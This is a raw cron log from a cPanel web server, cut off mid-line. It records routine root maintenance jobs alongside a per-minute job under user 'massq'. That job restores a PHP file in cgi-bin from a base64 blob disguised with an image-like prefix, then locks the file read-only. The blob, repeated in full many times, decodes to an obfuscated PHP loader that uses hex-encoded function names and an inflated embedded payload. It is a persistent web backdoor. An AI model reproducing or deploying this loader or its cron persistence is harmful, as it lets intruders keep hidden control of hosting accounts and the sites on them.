Sep  4 23:51:01 server CROND[31705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:51:01 server CROND[31706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:51:01 server CROND[31707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:52:01 server CROND[32099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:52:01 server CROND[32100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:52:01 server CROND[32101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:53:01 server CROND[32489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:53:01 server CROND[32491]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  4 23:53:01 server CROND[32492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:53:01 server CROND[32490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:54:01 server CROND[455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:54:01 server CROND[456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:54:01 server CROND[454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:55:01 server CROND[871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:55:01 server CROND[887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:55:01 server CROND[888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:55:01 server CROND[892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:55:01 server CROND[891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:55:01 server CROND[893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:55:01 server CROND[894]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:56:01 server CROND[1950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:56:01 server CROND[1952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:56:01 server CROND[1951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:57:01 server CROND[2475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:57:01 server CROND[2476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:57:01 server CROND[2477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:57:01 server CROND[2474]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:58:01 server CROND[2903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:58:01 server CROND[2904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:58:01 server CROND[2905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:59:01 server CROND[3294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:59:01 server CROND[3295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:59:01 server CROND[3296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:00:01 server CROND[3819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:00:01 server CROND[3821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:00:01 server CROND[3826]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:00:01 server CROND[3829]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 00:00:01 server CROND[3837]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  5 00:00:01 server CROND[3840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:00:01 server CROND[3838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:00:01 server CROND[3839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:00:01 server CROND[3849]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 00:00:01 server CROND[3845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:00:01 server CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:01:01 server CROND[4762]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 00:01:01 server CROND[4763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:01:01 server CROND[4765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:01:01 server CROND[4764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:01:01 server run-parts(/etc/cron.hourly)[4762]: starting 0anacron
Sep  5 00:01:01 server anacron[4794]: Anacron started on 2026-09-05
Sep  5 00:01:01 server anacron[4794]: Normal exit (0 jobs run)
Sep  5 00:01:01 server run-parts(/etc/cron.hourly)[4798]: finished 0anacron
Sep  5 00:02:01 server CROND[5258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:02:01 server CROND[5259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:02:01 server CROND[5261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSH